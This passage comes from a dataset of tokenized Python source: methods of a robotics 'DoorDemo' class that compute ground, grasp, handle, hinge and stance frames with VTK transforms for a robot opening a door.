":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "plans", "_", "._", "append_", "(_", "plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compute", "Gra", "sp", "Orientation_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "180_", "+_", "self_", "._", "handle", "Reach", "Angle_", ",_", "0_", ",_", "90_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compute", "Gro", "und", "Frame_", "(_", "self_", ",_", "robot", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Give", "n", " ", "a", " ", "robo", "l", " ", "model", ",", " ", "return", "s", " ", "a", " ", "vtk", "Transform", " ", "at", " ", "a", " ", "position", " ", "bet", "ween", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "feet", ",", " ", "on", " ", "the", " ", "ground", ",", " ", "with", " ", "z", "-", "axis", " ", "up", " ", "and", " ", "x", "-", "axis", " ", "aligned", " ", "with", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "robot", " ", "pel", "vis", " ", "x", "-", "axis", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t1_", "=_", "robot", "Model_", "._", "get", "Link", "Frame_", "(_", "'", "l\\u", "foot", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "robot", "Model_", "._", "get", "Link", "Frame_", "(_", "'", "r", "\\u", "foot", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pel", "vis", "T_", "=_", "robot", "Model_", "._", "get", "Link", "Frame_", "(_", "'", "pel", "vis", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xaxis_", "=_", "[_", "1.0_", ",_", "0.0_", ",_", "0.0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pel", "vis", "T_", "._", "Transform", "Vector_", "(_", "xaxis_", ",_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "=_", "np_", "._", "array_", "(_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "za", "xis_", "=_", "np_", "._", "array_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "1.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "=_", "np_", "._", "cross_", "(_", "za", "xis_", ",_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "yaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "=_", "np_", "._", "cross_", "(_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stance", "Position_", "=_", "(_", "np_", "._", "array_", "(_", "t2_", "._", "Get", "Position_", "(_", ")_", ")_", "+_", "np_", "._", "array_", "(_", "t1_", "._", "Get", "Position_", "(_", ")_", ")_", ")_", "/_", "2.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "foot", "Height_", "=_", "0.08", "11_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t_", "=_", "transform", "Utils_", "._", "get", "Transform", "Fro", "m", "Axes_", "(_", "xaxis_", ",_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Translate", "_", "(_", "stance", "Position_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Translate", "_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "-_", "foot", "Height_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compute", "Doo", "r", "Handle", "Gra", "sp", "Frame_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "door", "Side_", "=_", "1_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "left", "'_", "else_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gra", "sp", "Orientation_", "=_", "self_", "._", "compute", "Gra", "sp", "Orientation_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Axi", "s", "Frame_", "=_", "self_", "._", "compute", "Doo", "r", "Handle", "Axi", "s", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "make", "Frame_", "(_", "name_", ",_", "offset_", ",_", "turn", "Angle_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "offset_", ",_", "gra", "sp", "Orientation_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Concat", "enat", "e_", "(_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "[_", "-_", "turn", "Angle_", ",_", "0_", ",_", "0_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Concat", "enat", "e_", "(_", "transform", "Utils_", "._", "copy", "Frame_", "(_", "self_", "._", "door", "Handle", "Axi", "s", "Frame_", "._", "transform_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "vis_", "._", "update", "Frame_", "(_", "t_", ",_", "name_", ",_", "parent_", "=_", "self_", "._", "door", "Handle", "Aff", "orda", "nce_", ",_", "visible_", "=_", "False_", ",_", "scale_", "=_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "Frame", "New_", "(_", "name_", ",_", "transforms_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "transforms_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "vis_", "._", "update", "Frame_", "(_", "t_", ",_", "name_", ",_", "parent_", "=_", "self_", "._", "door", "Handle", "Aff", "orda", "nce_", ",_", "visible_", "=_", "False_", ",_", "scale_", "=_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "gra", "sp", "To", "Axi", "s", "Transform_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "gra", "sp", "Orientation_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Gra", "sp", "Frame_", "=_", "make", "Frame", "New_", "(_", "'", "door", " ", "handle", " ", "gra", "sp", " ", "frame", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "gra", "sp", "To", "Axi", "s", "Transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Handle", "Axi", "s", "Frame_", "._", "transform_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "use", "Pin", "ch", "Gra", "sp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reach", "To", "Gra", "sp", "Transform_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "-_", "door", "Side_", "*_", "self_", "._", "handle", "Tou", "ch", "Width_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "handle", "Tou", "ch", "Depth_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "-_", "self_", "._", "handle", "Tou", "ch", "Height_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Reach", "Frame_", "=_", "make", "Frame", "New_", "(_", "'", "door", " ", "handle", " ", "reach", " ", "frame", "'_", ",_", "[_", "reach", "To", "Gra", "sp", "Transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Handle", "Gra", "sp", "Frame_", "._", "transform_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Turn", "Transform_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "[_", "-_", "self_", "._", "handle", "Turn", "Angle_", ",_", "0_", ",_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Turn", "Frame_", "=_", "make", "Frame", "New_", "(_", "'", "door", " ", "handle", " ", "turn", " ", "frame", "'_", ",_", "[_", "reach", "To", "Gra", "sp", "Transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "gra", "sp", "To", "Axi", "s", "Transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Turn", "Transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Handle", "Axi", "s", "Frame_", "._", "transform_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Push", "Transform_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "0_", ",_", "self_", "._", "handle", "Push", "Angle_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Push", "Frame_", "=_", "make", "Frame", "New_", "(_", "'", "door", " ", "handle", " ", "push", " ", "frame", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "self_", "._", "door", "Handle", "Turn", "Frame_", "._", "transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Hin", "ge", "Frame_", "._", "transform_", "._", "Get", "Inv", "erse", "_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Push", "Transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Hin", "ge", "Frame_", "._", "transform_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Handle", "Push", "Lif", "t", "Frame_", "=_", "make", "Frame", "New_", "(_", "'", "door", " ", "handle", " ", "push", " ", "lift", " ", "frame", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "self_", "._", "door", "Handle", "Reach", "Frame_", "._", "transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Hin", "ge", "Frame_", "._", "transform_", "._", "Get", "Inv", "erse", "_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Push", "Transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Hin", "ge", "Frame_", "._", "transform_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Handle", "Push", "Lif", "t", "Axi", "s", "Frame_", "=_", "make", "Frame", "New_", "(_", "'", "door", " ", "handle", " ", "push", " ", "lift", " ", "axis", " ", "frame", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "self_", "._", "door", "Handle", "Axi", "s", "Frame_", "._", "transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Hin", "ge", "Frame_", "._", "transform_", "._", "Get", "Inv", "erse", "_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Push", "Transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Hin", "ge", "Frame_", "._", "transform_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Handle", "Push", "Open", "Frame_", "=_", "make", "Frame_", "(_", "'", "door", " ", "handle", " ", "push", " ", "open", " ", "frame", "'_", ",_", "[_", "self_", "._", "handle", "Open", "Depth_", ",_", "self_", "._", "handle", "Open", "Width_", ",_", "self_", "._", "handle", "Lif", "t", "Height_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t_", "=_", "vtk_", "._", "vtk", "Transform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Rotate", "X_", "(_", "25_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Concat", "enat", "e_", "(_", "self_", "._", "door", "Handle", "Push", "Open", "Frame_", "._", "transform_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Push", "Open", "Frame_", "._", "copy", "Frame_", "(_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reach", "To", "Axi", "s", "Transform_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "self_", "._", "pre", "Cho", "p", "Depth_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Side_", "*_", "self_", "._", "pre", "Cho", "p", "Width_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "pre", "Cho", "p", "Height_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "90_", ",_", "-_", "90_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "obj_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "door", " ", "handle", " ", "reach", " ", "frame", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Reach", "Frame_", "=_", "make", "Frame", "New_", "(_", "'", "door", " ", "handle", " ", "reach", " ", "frame", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "reach", "To", "Axi", "s", "Transform_", ",_", "self_", "._", "door", "Handle", "Axi", "s", "Frame_", "._", "transform_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "first", " ", "time", " ", "the", " ", "frame", " ", "is", " ", "created", ",", " ", "set", " ", "some", " ", "display", " ", "properties_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "obj_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "door", "Handle", "Reach", "Frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "set", "Property_", "(_", "'", "Edit", "'_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "set", "Property_", "(_", "'", "Vis", "ibl", "e", "'_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rep_", "=_", "obj_", "._", "widget_", "._", "Get", "Representation", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rep_", "._", "Set", "Rotate", "Axi", "s", "Enabled_", "(_", "0_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rep_", "._", "Set", "Rotate", "Axi", "s", "Enabled_", "(_", "1_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rep_", "._", "Set", "Rotate", "Axi", "s", "Enabled_", "(_", "2_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "widget_", "._", "Handle", "Rot", "ation", "Enable", "d", "Off_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "set", "Property_", "(_", "'", "Edit", "'_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pre", "Cho", "p", "To", "Reach", "Transform_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "-_", "0.15_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Pre", "Cho", "p", "Frame_", "=_", "make", "Frame", "New_", "(_", "'", "door", " ", "handle", " ", "pre", "-", "chop", " ", "frame", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "pre", "Cho", "p", "To", "Reach", "Transform_", ",_", "self_", "._", "door", "Handle", "Reach", "Frame_", "._", "transform_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame_", "._", "frame", "Sync_", "=_", "vis_", "._", "Frame", "Sync_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame_", "._", "frame", "Sync_", "._", "add", "Frame_", "(_", "self_", "._", "door", "Handle", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame_", "._", "frame", "Sync_", "._", "add", "Frame_", "(_", "self_", "._", "door", "Handle", "Axi", "s", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame_", "._", "frame", "Sync_", "._", "add", "Frame_", "(_", "self_", "._", "door", "Handle", "Gra", "sp", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame_", "._", "frame", "Sync_", "._", "add", "Frame_", "(_", "self_", "._", "door", "Handle", "Reach", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "use", "Pin", "ch", "Gra", "sp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "door", "Handle", "Frame_", "._", "frame", "Sync_", "._", "add", "Frame_", "(_", "self_", "._", "door", "Handle", "Turn", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame_", "._", "frame", "Sync_", "._", "add", "Frame_", "(_", "self_", "._", "door", "Handle", "Push", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame_", "._", "frame", "Sync_", "._", "add", "Frame_", "(_", "self_", "._", "door", "Handle", "Push", "Lif", "t", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame_", "._", "frame", "Sync_", "._", "add", "Frame_", "(_", "self_", "._", "door", "Handle", "Push", "Lif", "t", "Axi", "s", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame_", "._", "frame", "Sync_", "._", "add", "Frame_", "(_", "self_", "._", "door", "Handle", "Push", "Open", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "door", "Handle", "Frame_", "._", "frame", "Sync_", "._", "add", "Frame_", "(_", "self_", "._", "door", "Handle", "Pre", "Cho", "p", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compute", "Doo", "r", "Handle", "Axi", "s", "Frame_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handle", "Length_", "=_", "self_", "._", "door", "Handle", "Aff", "orda", "nce_", "._", "get", "Property_", "(_", "'", "Dimen", "sion", "s", "'_", ")_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Side_", "=_", "1_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "left", "'_", "else_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "door", "Side_", "*_", "handle", "Length_", "/_", "2.0_", ",_", "0.0_", "]_", ",_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Concat", "enat", "e_", "(_", "transform", "Utils_", "._", "copy", "Frame_", "(_", "self_", "._", "door", "Handle", "Frame_", "._", "transform_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "vis_", "._", "update", "Frame_", "(_", "t_", ",_", "'", "door", " ", "handle", " ", "axis", " ", "frame", "'_", ",_", "parent_", "=_", "self_", "._", "door", "Handle", "Aff", "orda", "nce_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "visible_", "=_", "False_", ",_", "scale_", "=_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compute", "Doo", "r", "Hin", "ge", "Frame_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "door", "Side_", "=_", "1_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "left", "'_", "else_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Aff", "orda", "nce_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "door", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Dimensions_", "=_", "door", "Aff", "orda", "nce_", "._", "get", "Property_", "(_", "'", "Dimen", "sion", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Depth_", "=_", "door", "Dimensions_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Width_", "=_", "door", "Dimensions_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "door", "Depth_", "/_", "2_", ",_", "-_", "door", "Side_", "*_", "door", "Width_", "/_", "2.0_", ",_", "0.0_", "]_", ",_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Concat", "enat", "e_", "(_", "transform", "Utils_", "._", "copy", "Frame_", "(_", "door", "Aff", "orda", "nce_", "._", "get", "Chil", "d", "Frame_", "(_", ")_", "._", "transform_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Hin", "ge", "Frame_", "=_", "vis_", "._", "update", "Frame_", "(_", "t_", ",_", "'", "door", " ", "hing", "e", " ", "frame", "'_", ",_", "parent_", "=_", "door", "Aff", "orda", "nce_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "visible_", "=_", "False_", ",_", "scale_", "=_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "door", "Hin", "ge", "Frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compute", "Doo", "r", "Handle", "Stan", "ce", "Frame_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gra", "sp", "Frame_", "=_", "self_", "._", "door", "Handle", "Frame_", "._", "transform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ground", "Frame_", "=_", "self_", "._", "compute", "Gro", "und", "Frame_", "(_", "self_", "._", "robot", "Model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ground", "Height_", "=_", "ground", "Frame_", "._", "Get", "Position_", "(_", ")_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gra", "sp", "Position_", "=_", "np_", "._", "array_", "(_", "gra", "sp", "Frame_", "._", "Get", "Position_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "=_", "[_", "1.0_", ",_", "0.0_", ",_", "0.0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "=_", "[_", "0.0_", ",_", "1.0_", ",_", "0.0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "za", "xis_", "=_", "[_", "0_", ",_", "0_", ",_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gra", "sp", "Frame_", "._", "Transform", "Vector_", "(_", "xaxis_", ",_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gra", "sp", "Frame_", "._", "Transform", "Vector_", "(_", "yaxis_", ",_", "yaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yaxis_", "=_", "np_", "._", "cross_", "(_", "za", "xis_", ",_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "yaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "=_", "np_", "._", 